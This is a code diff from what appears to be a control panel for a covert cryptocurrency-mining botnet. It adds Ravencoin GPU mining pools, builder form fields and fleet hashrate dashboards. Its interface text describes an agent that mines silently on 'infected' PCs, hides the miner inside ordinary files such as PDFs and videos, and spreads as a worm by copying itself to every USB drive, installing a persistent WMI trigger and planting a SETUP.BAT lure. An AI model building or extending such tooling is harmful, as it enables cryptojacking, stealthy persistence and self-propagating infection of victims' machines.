provider: 'HeroMiners',
|
||||||
|
host: 'rvn.herominers.com',
|
||||||
|
port: 1140,
|
||||||
|
tls: false,
|
||||||
|
hint: ':1140',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: 'minerpool-rvn',
|
||||||
|
provider: 'MinePool',
|
||||||
|
host: 'us.rvn.minepool.io',
|
||||||
|
port: 3333,
|
||||||
|
tls: false,
|
||||||
|
hint: ':3333',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: 'woolypooly-rvn',
|
||||||
|
provider: 'WoolyPooly',
|
||||||
|
host: 'rvn.woolypooly.com',
|
||||||
|
port: 55555,
|
||||||
|
tls: false,
|
||||||
|
hint: ':55555',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: 'ravenminer',
|
||||||
|
provider: 'RavenMiner',
|
||||||
|
host: 'us.ravenminer.com',
|
||||||
|
port: 3838,
|
||||||
|
tls: false,
|
||||||
|
hint: ':3838',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: 'nanopool-rvn',
|
||||||
|
provider: 'Nanopool',
|
||||||
|
host: 'rvn-us-west1.nanopool.org',
|
||||||
|
port: 12222,
|
||||||
|
tls: false,
|
||||||
|
hint: ':12222',
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
export const DEFAULT_RVN_PRESET_IDS = ['2miners-rvn', 'herominers-rvn', 'ravenminer'] as const;
|
||||||
|
|
||||||
|
export interface RVNPoolForgeFields {
|
||||||
|
rvn_pool_host: string;
|
||||||
|
rvn_pool_port: number;
|
||||||
|
rvn_pool_tls: boolean;
|
||||||
|
rvn_backup_pools: BackupPool[];
|
||||||
|
}
|
||||||
|
|
||||||
|
export function orderedRVNPoolsFromSelection(
|
||||||
|
presetIds: string[],
|
||||||
|
pass: string,
|
||||||
|
custom?: BackupPool | null,
|
||||||
|
): BackupPool[] {
|
||||||
|
const out: BackupPool[] = [];
|
||||||
|
const seen = new Set<string>();
|
||||||
|
for (const id of presetIds) {
|
||||||
|
const preset = RVN_POOL_PRESETS.find((p) => p.id === id);
|
||||||
|
if (!preset) continue;
|
||||||
|
const key = endpointKey(preset.host, preset.port, preset.tls);
|
||||||
|
if (seen.has(key)) continue;
|
||||||
|
seen.add(key);
|
||||||
|
out.push({ host: preset.host, port: preset.port, tls: preset.tls, pass });
|
||||||
|
}
|
||||||
|
if (custom?.host?.trim() && custom.port > 0) {
|
||||||
|
const key = endpointKey(custom.host, custom.port, !!custom.tls);
|
||||||
|
if (!seen.has(key)) out.push({ ...custom, pass: custom.pass || pass || 'x' });
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function applyRVNPoolsToForgeFields(pools: BackupPool[]): RVNPoolForgeFields {
|
||||||
|
const { primary, backups } = splitPrimaryAndBackups(pools);
|
||||||
|
if (!primary) return { rvn_pool_host: '', rvn_pool_port: 6060, rvn_pool_tls: false, rvn_backup_pools: [] };
|
||||||
|
return { rvn_pool_host: primary.host, rvn_pool_port: primary.port, rvn_pool_tls: primary.tls, rvn_backup_pools: backups };
|
||||||
|
}
|
||||||
|
|
||||||
|
export function detectRVNPresetIds(host: string, port: number, tls: boolean, backups: BackupPool[] = []): string[] {
|
||||||
|
const keys = new Set<string>();
|
||||||
|
keys.add(endpointKey(host, port, tls));
|
||||||
|
for (const b of backups) {
|
||||||
|
if (b.host && b.port > 0) keys.add(endpointKey(b.host, b.port, !!b.tls));
|
||||||
|
}
|
||||||
|
return RVN_POOL_PRESETS.filter((p) => keys.has(endpointKey(p.host, p.port, p.tls))).map((p) => p.id);
|
||||||
|
}
|
||||||
|
|
||||||
function endpointKey(host: string, port: number, tls: boolean): string {
|
function endpointKey(host: string, port: number, tls: boolean): string {
|
||||||
return `${host.trim().toLowerCase()}:${port}:${tls ? '1' : '0'}`;
|
return `${host.trim().toLowerCase()}:${port}:${tls ? '1' : '0'}`;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,7 +9,8 @@ export function sanitizeScreenshotBase64(raw: string): string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (best.length >= 100) return best;
|
if (best.length >= 100) return best;
|
||||||
return trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
|
const fallback = trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
|
||||||
|
return fallback.length >= 100 ? fallback : '';
|
||||||
}
|
}
|
||||||
|
|
||||||
export function downloadScreenshotFromBase64(
|
export function downloadScreenshotFromBase64(
|
||||||
|
|||||||
@@ -213,6 +213,12 @@ export default function AgentsPage() {
|
|||||||
} catch (err) {
|
} catch (err) {
|
||||||
console.error(err);
|
console.error(err);
|
||||||
}
|
}
|
||||||
|
// Auto-fetch sysinfo so the terminal is pre-populated immediately
|
||||||
|
if (agent.status === 'online') {
|
||||||
|
setTimeout(() => {
|
||||||
|
api.sendAgentCommand(agent.id, 'sysinfo').catch(() => {});
|
||||||
|
}, 300);
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
const saveMeta = async () => {
|
const saveMeta = async () => {
|
||||||
@@ -606,6 +612,7 @@ export default function AgentsPage() {
|
|||||||
agent={selectedAgent}
|
agent={selectedAgent}
|
||||||
online={selectedAgent.status === 'online'}
|
online={selectedAgent.status === 'online'}
|
||||||
commandResults={commandResults}
|
commandResults={commandResults}
|
||||||
|
showLiveStats
|
||||||
onCommandSent={(action: string) => {
|
onCommandSent={(action: string) => {
|
||||||
if (action === 'get_log') refreshLog(true);
|
if (action === 'get_log') refreshLog(true);
|
||||||
}}
|
}}
|
||||||
|
|||||||
@@ -85,7 +85,7 @@ describe('BuilderPage', () => {
|
|||||||
vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline'));
|
vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline'));
|
||||||
renderBuilder();
|
renderBuilder();
|
||||||
expect(
|
expect(
|
||||||
await screen.findByText('Failed to load server info — is the control server running?')
|
await screen.findByText('Failed to load server config — is the control server running?')
|
||||||
).toBeInTheDocument();
|
).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -101,7 +101,7 @@ describe('BuilderPage', () => {
|
|||||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
|
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
|
||||||
expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument();
|
expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument();
|
||||||
expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument();
|
expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument();
|
||||||
expect(screen.getByText('Pool Host')).toBeInTheDocument();
|
expect(screen.getByText('Mining Pools')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('submits forge when preflight passes', async () => {
|
it('submits forge when preflight passes', async () => {
|
||||||
@@ -181,7 +181,7 @@ describe('BuilderPage', () => {
|
|||||||
screen.getByRole('button', { name: /Hide miner in any file/i })
|
screen.getByRole('button', { name: /Hide miner in any file/i })
|
||||||
);
|
);
|
||||||
expect(
|
expect(
|
||||||
screen.getByText(/Fusion selected — drop your files below and forge/i)
|
screen.getByText(/Drop any file — PDF, video, document/i)
|
||||||
).toBeInTheDocument();
|
).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -30,6 +30,7 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone
|
|||||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||||
import DownloadButton from '../components/DownloadButton';
|
import DownloadButton from '../components/DownloadButton';
|
||||||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||||
|
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
|
||||||
import { useForge } from '../context/ForgeContext';
|
import { useForge } from '../context/ForgeContext';
|
||||||
import {
|
import {
|
||||||
fusionPayloadKind,
|
fusionPayloadKind,
|
||||||
@@ -1133,6 +1134,73 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
|
||||||
|
<div className="form-section">
|
||||||
|
<ForgeSectionHeader
|
||||||
|
title="GPU Mining — Ravencoin"
|
||||||
|
badge="baked"
|
||||||
|
description="Enable KawPoW GPU mining alongside Monero CPU mining. The agent auto-detects NVIDIA (T-Rex) or AMD (TeamRedMiner) and downloads the correct miner."
|
||||||
|
/>
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
className="checkbox"
|
||||||
|
checked={!!form.gpu_enabled}
|
||||||
|
onChange={(e) => updateField('gpu_enabled', e.target.checked)}
|
||||||
|
/>
|
||||||
|
<span style={{ fontWeight: 600 }}>Enable GPU mining (Ravencoin)</span>
|
||||||
|
</label>
|
||||||
|
<p className="form-hint">
|
||||||
|
When enabled the agent detects GPU vendor, downloads the correct KawPoW miner, and runs it silently alongside the CPU Monero miner. Requires a discrete NVIDIA or AMD GPU on the target.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
{form.gpu_enabled && (
|
||||||
|
<>
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Ravencoin Wallet Address <span className="badge-required">required</span></label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
className="input mono"
|
||||||
|
placeholder="R... (your RVN address)"
|
||||||
|
value={form.rvn_wallet ?? ''}
|
||||||
|
onChange={(e) => updateField('rvn_wallet', e.target.value)}
|
||||||
|
/>
|
||||||
|
<p className="form-hint">Your Ravencoin wallet address. Only Ravencoin (RVN) mainnet addresses are accepted by KawPoW pools.</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Ravencoin Pools</label>
|
||||||
|
<RVNPoolPresetPicker
|
||||||
|
host={form.rvn_pool_host ?? ''}
|
||||||
|
port={form.rvn_pool_port ?? 6060}
|
||||||
|
tls={form.rvn_pool_tls ?? false}
|
||||||
|
pass={form.rvn_pool_pass ?? 'x'}
|
||||||
|
backups={form.rvn_backup_pools ?? []}
|
||||||
|
onChange={(next) => {
|
||||||
|
updateField('rvn_pool_host', next.rvn_pool_host);
|
||||||
|
updateField('rvn_pool_port', next.rvn_pool_port);
|
||||||
|
updateField('rvn_pool_tls', next.rvn_pool_tls);
|
||||||
|
updateField('rvn_backup_pools', next.rvn_backup_pools);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">RVN Pool Password</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
className="input"
|
||||||
|
placeholder="x"
|
||||||
|
value={form.rvn_pool_pass ?? 'x'}
|
||||||
|
onChange={(e) => updateField('rvn_pool_pass', e.target.value)}
|
||||||
|
/>
|
||||||
|
<p className="form-hint">Most public KawPoW pools use <code>x</code>.</p>
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
<div className="form-section">
|
<div className="form-section">
|
||||||
<ForgeSectionHeader
|
<ForgeSectionHeader
|
||||||
title="Deliverable"
|
title="Deliverable"
|
||||||
@@ -2007,7 +2075,7 @@ export default function BuilderPage() {
|
|||||||
</label>
|
</label>
|
||||||
{form.usb_spread && (
|
{form.usb_spread && (
|
||||||
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
|
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
|
||||||
Agent will silently copy itself to any USB drive plugged into an infected PC and install a permanent WMI trigger that survives reboots.
|
⚡ Perpetual chain — agent silently copies itself to every USB drive inserted into any infected PC (including drives already plugged in at startup), installs a persistent WMI trigger, and drops a visible SETUP.BAT + folder icon so the next PC's user just clicks. Each new machine repeats the cycle forever.
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
<FieldHint field="usb_spread" />
|
<FieldHint field="usb_spread" />
|
||||||
|
|||||||
@@ -47,6 +47,16 @@ import {
|
|||||||
osArchBreakdown,
|
osArchBreakdown,
|
||||||
} from '../help/fleetAnalytics';
|
} from '../help/fleetAnalytics';
|
||||||
import './Pages.css';
|
import './Pages.css';
|
||||||
|
|
||||||
|
/** Format GPU KawPoW hashrate (H/s units, displayed as MH/s or GH/s). */
|
||||||
|
function formatGPUHashrate(hps: number): string {
|
||||||
|
if (!hps || hps <= 0) return '0 H/s';
|
||||||
|
if (hps >= 1e9) return `${(hps / 1e9).toFixed(2)} GH/s`;
|
||||||
|
if (hps >= 1e6) return `${(hps / 1e6).toFixed(2)} MH/s`;
|
||||||
|
if (hps >= 1e3) return `${(hps / 1e3).toFixed(2)} KH/s`;
|
||||||
|
return `${hps.toFixed(0)} H/s`;
|
||||||
|
}
|
||||||
|
|
||||||
export default function DashboardPage() {
|
export default function DashboardPage() {
|
||||||
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
|
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
|
||||||
const [shares, setShares] = useState<Share[]>([]);
|
const [shares, setShares] = useState<Share[]>([]);
|
||||||
@@ -117,6 +127,29 @@ export default function DashboardPage() {
|
|||||||
const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0);
|
const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0);
|
||||||
const rejectedShares = agents.reduce((sum, a) => sum + a.shares_bad, 0);
|
const rejectedShares = agents.reduce((sum, a) => sum + a.shares_bad, 0);
|
||||||
const acceptRate = totalShares > 0 ? (acceptedShares / totalShares) * 100 : 0;
|
const acceptRate = totalShares > 0 ? (acceptedShares / totalShares) * 100 : 0;
|
||||||
|
|
||||||
|
// ── Ravencoin / GPU fleet stats ────────────────────────────────────────────
|
||||||
|
const gpuAgents = useMemo(
|
||||||
|
() => agents.filter((a) => a.gpu_miner_active && a.status === 'online'),
|
||||||
|
[agents]
|
||||||
|
);
|
||||||
|
const totalGPUHashrate = useMemo(
|
||||||
|
() => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15m ?? 0), 0),
|
||||||
|
[gpuAgents]
|
||||||
|
);
|
||||||
|
const gpuHashrate15s = useMemo(
|
||||||
|
() => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15s ?? 0), 0),
|
||||||
|
[gpuAgents]
|
||||||
|
);
|
||||||
|
const bestGPUAgent = useMemo(
|
||||||
|
() => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
|
||||||
|
[gpuAgents]
|
||||||
|
);
|
||||||
|
const gpuModels = useMemo(
|
||||||
|
() => [...new Set(gpuAgents.map((a) => a.gpu_model).filter(Boolean))],
|
||||||
|
[gpuAgents]
|
||||||
|
);
|
||||||
|
const hasGPUMining = gpuAgents.length > 0;
|
||||||
const avgCpu = agents.length > 0 ? agents.reduce((s, a) => s + a.cpu_usage_pct, 0) / agents.length : 0;
|
const avgCpu = agents.length > 0 ? agents.reduce((s, a) => s + a.cpu_usage_pct, 0) / agents.length : 0;
|
||||||
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
|
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
|
||||||
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
|
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
|
||||||
@@ -455,6 +488,139 @@ export default function DashboardPage() {
|
|||||||
</NeonCard>
|
</NeonCard>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{/* ═══════════════════════════════════════════════════════════════════
|
||||||
|
MONERO SUBHEADING — clarify the section above belongs to XMR
|
||||||
|
═══════════════════════════════════════════════════════════════════ */}
|
||||||
|
<div className="mining-coin-label monero-label">
|
||||||
|
<span className="coin-badge xmr-badge">XMR</span>
|
||||||
|
<span className="coin-name font-tech">MONERO</span>
|
||||||
|
<span className="coin-algo font-tech">· RandomX CPU ·</span>
|
||||||
|
<span className="coin-hr font-tech">{formatHashrate(totalHashrate)}</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* ═══════════════════════════════════════════════════════════════════
|
||||||
|
RAVENCOIN GPU SECTION
|
||||||
|
═══════════════════════════════════════════════════════════════════ */}
|
||||||
|
{hasGPUMining && (
|
||||||
|
<div className="rvn-section">
|
||||||
|
<div className="mining-coin-label rvn-label">
|
||||||
|
<span className="coin-badge rvn-badge">RVN</span>
|
||||||
|
<span className="coin-name font-tech">RAVENCOIN</span>
|
||||||
|
<span className="coin-algo font-tech">· KawPoW GPU ·</span>
|
||||||
|
<span className="coin-hr font-tech rvn-hashrate">{formatGPUHashrate(totalGPUHashrate)}</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Gauge row */}
|
||||||
|
<section className="gauge-row rvn-gauges">
|
||||||
|
<NeonCard accent="gold" className="gauge-card" hud>
|
||||||
|
<GaugeRing
|
||||||
|
value={totalGPUHashrate}
|
||||||
|
max={Math.max(totalGPUHashrate * 1.2, 1e6)}
|
||||||
|
label="GPU Hash"
|
||||||
|
sublabel="15m avg"
|
||||||
|
color="var(--neon-gold)"
|
||||||
|
size={110}
|
||||||
|
/>
|
||||||
|
</NeonCard>
|
||||||
|
<NeonCard accent="amber" className="gauge-card" hud>
|
||||||
|
<GaugeRing
|
||||||
|
value={gpuHashrate15s}
|
||||||
|
max={Math.max(gpuHashrate15s * 1.2, 1e6)}
|
||||||
|
label="GPU Live"
|
||||||
|
sublabel="15s sample"
|
||||||
|
color="var(--neon-amber)"
|
||||||
|
size={110}
|
||||||
|
/>
|
||||||
|
</NeonCard>
|
||||||
|
<NeonCard accent="cyan" className="gauge-card" hud>
|
||||||
|
<GaugeRing
|
||||||
|
value={gpuAgents.length}
|
||||||
|
max={Math.max(agents.length, 1)}
|
||||||
|
label="GPU Rigs"
|
||||||
|
sublabel={`of ${agents.length} nodes`}
|
||||||
|
color="var(--neon-cyan)"
|
||||||
|
size={110}
|
||||||
|
/>
|
||||||
|
</NeonCard>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
{/* Stats cards */}
|
||||||
|
<div className="grid-4 stats-grid rvn-stats-grid">
|
||||||
|
<NeonCard accent="gold" className="stat-card-wrap rvn-stat-card">
|
||||||
|
<div className="stat-label font-tech">GPU Fleet Hash</div>
|
||||||
|
<div className="stat-value rvn-hashrate neon-glow-gold">{formatGPUHashrate(totalGPUHashrate)}</div>
|
||||||
|
<div className="stat-sub">{gpuAgents.length} GPU rig{gpuAgents.length !== 1 ? 's' : ''} firing</div>
|
||||||
|
</NeonCard>
|
||||||
|
|
||||||
|
<NeonCard accent="amber" className="stat-card-wrap rvn-stat-card">
|
||||||
|
<div className="stat-label font-tech">Top GPU Rig</div>
|
||||||
|
{bestGPUAgent ? (
|
||||||
|
<>
|
||||||
|
<div className="stat-value neon-glow-amber" style={{ fontSize: '1.1rem' }}>
|
||||||
|
{(bestGPUAgent.name.length > 14 ? bestGPUAgent.name.slice(0, 13) + '…' : bestGPUAgent.name)}
|
||||||
|
</div>
|
||||||
|
<div className="stat-sub">{formatGPUHashrate(bestGPUAgent.gpu_hashrate_15m ?? 0)} · {bestGPUAgent.gpu_model ?? 'GPU'}</div>
|
||||||
|
</>
|
||||||
|
) : (
|
||||||
|
<><div className="stat-value stat-dim">—</div><div className="stat-sub">none active</div></>
|
||||||
|
)}
|
||||||
|
</NeonCard>
|
||||||
|
|
||||||
|
<NeonCard accent="cyan" className="stat-card-wrap rvn-stat-card">
|
||||||
|
<div className="stat-label font-tech">GPU Models</div>
|
||||||
|
<div className="stat-value neon-glow-cyan" style={{ fontSize: '1rem', lineHeight: '1.3' }}>
|
||||||
|
{gpuModels.length > 0 ? (
|
||||||
|
gpuModels.slice(0, 2).map((m) => (
|
||||||
|
<div key={m} style={{ fontSize: '0.8em', fontFamily: 'var(--font-tech)' }}>{m}</div>
|
||||||
|
))
|
||||||
|
) : (
|
||||||
|
<span className="stat-dim">—</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<div className="stat-sub">{gpuModels.length} distinct model{gpuModels.length !== 1 ? 's' : ''}</div>
|
||||||
|
</NeonCard>
|
||||||
|
|
||||||
|
<NeonCard accent="purple" className="stat-card-wrap rvn-stat-card">
|
||||||
|
<div className="stat-label font-tech">GPU Live Rate</div>
|
||||||
|
<div className="stat-value neon-glow-purple">{formatGPUHashrate(gpuHashrate15s)}</div>
|
||||||
|
<div className="stat-sub">15-second snapshot</div>
|
||||||
|
</NeonCard>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Per-rig GPU breakdown */}
|
||||||
|
{gpuAgents.length > 0 && (
|
||||||
|
<NeonCard accent="gold" className="rvn-rig-table-card" hud>
|
||||||
|
<div className="stat-label font-tech" style={{ marginBottom: '0.75rem' }}>GPU Rig Detail</div>
|
||||||
|
<div className="rvn-rig-table">
|
||||||
|
{gpuAgents.map((a) => {
|
||||||
|
const hr = a.gpu_hashrate_15m ?? 0;
|
||||||
|
const pct = totalGPUHashrate > 0 ? (hr / totalGPUHashrate) * 100 : 0;
|
||||||
|
return (
|
||||||
|
<div key={a.id} className="rvn-rig-row">
|
||||||
|
<span className="rvn-rig-name font-tech">{a.name}</span>
|
||||||
|
<span className="rvn-rig-model">{a.gpu_model ?? '—'}</span>
|
||||||
|
<span className="rvn-rig-hr neon-glow-gold">{formatGPUHashrate(hr)}</span>
|
||||||
|
<div className="rvn-rig-bar-wrap">
|
||||||
|
<div
|
||||||
|
className="rvn-rig-bar"
|
||||||
|
style={{ width: `${pct.toFixed(1)}%` } as React.CSSProperties}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<span className="rvn-rig-pct">{pct.toFixed(1)}%</span>
|
||||||
|
{(a.gpu_temp_c ?? 0) > 0 && (
|
||||||
|
<span className={`rvn-rig-temp ${(a.gpu_temp_c ?? 0) > 80 ? 'temp-hot' : ''}`}>
|
||||||
|
{a.gpu_temp_c}°C
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
</NeonCard>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
{/* ── Analytics row — always visible ─────────────────────────────────── */}
|
{/* ── Analytics row — always visible ─────────────────────────────────── */}
|
||||||
<ContributionBars bars={contribs} xmrPrice={xmrPrice} />
|
<ContributionBars bars={contribs} xmrPrice={xmrPrice} />
|
||||||
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
|
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
|
||||||
|
|||||||
@@ -1502,3 +1502,214 @@ button.deliverable-card .form-hint {
|
|||||||
font-size: 0.78rem;
|
font-size: 0.78rem;
|
||||||
padding: 0.28rem 0.7rem;
|
padding: 0.28rem 0.7rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ─── Mining Coin Labels (Monero / Ravencoin) ────────────────────────────── */
|
||||||
|
.mining-coin-label {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.65rem;
|
||||||
|
margin: 1.5rem 0 0.75rem;
|
||||||
|
padding: 0.5rem 1rem;
|
||||||
|
border-radius: 6px;
|
||||||
|
background: rgba(0,0,0,0.3);
|
||||||
|
border-left: 3px solid var(--neon-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
.monero-label {
|
||||||
|
border-left-color: var(--neon-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-label {
|
||||||
|
border-left-color: #f5a623;
|
||||||
|
}
|
||||||
|
|
||||||
|
.coin-badge {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.7rem;
|
||||||
|
padding: 0.15rem 0.5rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 0.1em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.xmr-badge {
|
||||||
|
background: rgba(0, 255, 255, 0.15);
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
border: 1px solid var(--neon-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-badge {
|
||||||
|
background: rgba(245, 166, 35, 0.15);
|
||||||
|
color: #f5a623;
|
||||||
|
border: 1px solid #f5a623;
|
||||||
|
}
|
||||||
|
|
||||||
|
.coin-name {
|
||||||
|
font-size: 0.9rem;
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 0.15em;
|
||||||
|
color: #e0e0e0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.coin-algo {
|
||||||
|
font-size: 0.75rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
letter-spacing: 0.05em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.coin-hr {
|
||||||
|
margin-left: auto;
|
||||||
|
font-size: 1rem;
|
||||||
|
font-weight: 700;
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-label .coin-hr {
|
||||||
|
color: #f5a623;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── RVN Section ────────────────────────────────────────────────────────── */
|
||||||
|
.rvn-section {
|
||||||
|
margin-top: 0.5rem;
|
||||||
|
padding-top: 0.5rem;
|
||||||
|
border-top: 1px solid rgba(245, 166, 35, 0.2);
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-hashrate {
|
||||||
|
color: #f5a623 !important;
|
||||||
|
text-shadow: 0 0 12px rgba(245, 166, 35, 0.6), 0 0 24px rgba(245, 166, 35, 0.3);
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-gauges {
|
||||||
|
grid-template-columns: repeat(3, 1fr);
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-stats-grid .rvn-stat-card {
|
||||||
|
background: linear-gradient(135deg, rgba(245, 166, 35, 0.06) 0%, rgba(0,0,0,0.0) 100%);
|
||||||
|
border: 1px solid rgba(245, 166, 35, 0.2);
|
||||||
|
text-align: center;
|
||||||
|
padding: 1.25rem !important;
|
||||||
|
position: relative;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-stats-grid .rvn-stat-card::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
background: radial-gradient(ellipse at top, rgba(245,166,35,0.08) 0%, transparent 70%);
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-stats-grid .stat-label {
|
||||||
|
color: rgba(245, 166, 35, 0.7);
|
||||||
|
letter-spacing: 0.15em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.neon-glow-gold {
|
||||||
|
color: #f5a623;
|
||||||
|
text-shadow: 0 0 8px rgba(245, 166, 35, 0.7), 0 0 16px rgba(245, 166, 35, 0.4);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── RVN Rig Detail Table ───────────────────────────────────────────────── */
|
||||||
|
.rvn-rig-table-card {
|
||||||
|
padding: 1.25rem !important;
|
||||||
|
background: rgba(245,166,35,0.03);
|
||||||
|
border: 1px solid rgba(245,166,35,0.15) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-rig-table {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.6rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-rig-row {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 1fr 1.5fr 80px 1fr 42px 48px;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.5rem;
|
||||||
|
padding: 0.4rem 0.6rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
background: rgba(0,0,0,0.25);
|
||||||
|
border-left: 2px solid rgba(245,166,35,0.35);
|
||||||
|
font-size: 0.82rem;
|
||||||
|
transition: background 0.15s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-rig-row:hover {
|
||||||
|
background: rgba(245,166,35,0.07);
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-rig-name {
|
||||||
|
font-size: 0.78rem;
|
||||||
|
color: #c0c0c0;
|
||||||
|
white-space: nowrap;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-rig-model {
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.72rem;
|
||||||
|
white-space: nowrap;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-rig-hr {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.8rem;
|
||||||
|
font-weight: 600;
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-rig-bar-wrap {
|
||||||
|
height: 6px;
|
||||||
|
background: rgba(255,255,255,0.08);
|
||||||
|
border-radius: 3px;
|
||||||
|
